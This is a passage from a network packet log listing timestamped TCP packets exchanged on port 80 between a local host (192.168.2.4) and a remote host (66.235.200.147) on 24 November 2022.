Nov 24, 2022 13:27:53.210679054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210692883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210701942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210719109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210735083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210752964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210761070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210778952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210797071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210822105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210941076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210968971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211002111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211005926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211026907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211033106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211044073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211061001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211090088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211114883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211124897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211144924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211152077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211182117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211189032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211198092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211219072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211241007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211256981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211271048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211292982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211316109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211323977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211345911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211359978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211374998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211388111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211405993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211421967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211432934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211448908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211474895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211483955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211493015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211510897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211534023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211545944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211568117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211575031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211600065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211607933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211622000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211635113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211663008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211668015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211685896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211695910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211721897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211730003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211740971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211757898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211774111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211788893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211802006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211821079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211833954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211849928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211864948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211879015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211893082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211908102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211922884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211936951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211952925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211968899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.211983919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.211998940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212013006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212029934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212045908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212061882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212073088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212090969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212110996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212116957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212136030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212150097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212157011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212179899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212201118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212213039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212220907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212248087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212258101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212277889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212287903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212312937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212327003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212340117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212356091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212373018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212387085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212415934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212428093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212444067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212461948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212479115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212488890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212505102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212524891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212541103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212557077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212579012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212609053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212614059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212627888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212641001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212660074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212671041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212692976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212702990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212726116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212733030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212758064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212766886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212783098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212785959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212810993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212832928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212836027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212862015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212873936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212887049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212904930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212912083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212917089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212938070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212943077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212959051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212964058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.212985992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.212991953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213011026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213027954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213053942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213059902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213079929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213087082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213100910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213108063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213126898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213139057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213169098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213171005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213191032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213207960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213221073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213233948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213253975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213268042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213278055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213293076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213313103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213325024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213339090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213351011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213370085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213385105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213397980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213411093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213435888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213445902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213458061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213474989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213490963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213505983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213515997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213541031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213572025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213607073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213632107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213632107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213634014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213632107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213653088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213660002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213671923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213696957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213699102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213725090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213737011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213759899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213788986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213799000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213821888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213829994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213854074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213854074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213881969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213891983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213907957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213917971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213928938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.213946104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213979959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.213989019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214006901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214031935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214040995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214054108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214066982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214090109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214102030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214111090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214148998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214174986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214200020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214207888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214221001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214240074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214243889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214266062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214273930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214302063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214315891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214332104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214338064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214359045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214361906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214385986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214387894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214413881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214420080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214437962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214447975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214474916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214477062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214499950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214509010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214528084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214535952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214570999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214587927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214587927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214600086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214623928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214628935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214663029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214682102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214716911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214752913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214761019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214761972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214761972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214783907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214793921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214802980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214828968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214843035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214865923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214873075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214915037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214919090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214957952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.214984894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.214992046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215022087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215049982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215097904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215127945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215388060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215420008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215457916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215488911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215492010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215514898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215529919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215548992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215564013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215578079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215600014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215614080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215632915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215648890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215666056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215682983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215701103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215713978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215732098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215750933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215766907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215779066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215801001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215816021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215840101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215851068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215878010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215889931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215923071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215930939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215948105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215967894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215972900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.215995073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.215997934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216020107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216021061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216042995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216044903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216068983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216090918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216101885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216109991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216131926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216140032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216140032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216156960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216171026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216178894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216202021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216207027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216228962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216236115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216253996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216265917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216276884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216289043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216301918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216314077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216325998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216332912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216350079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216376066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216379881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216399908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216408968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216424942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216434002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216453075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216461897 CET	49702	80	192.168.2.4	66.235.200.147
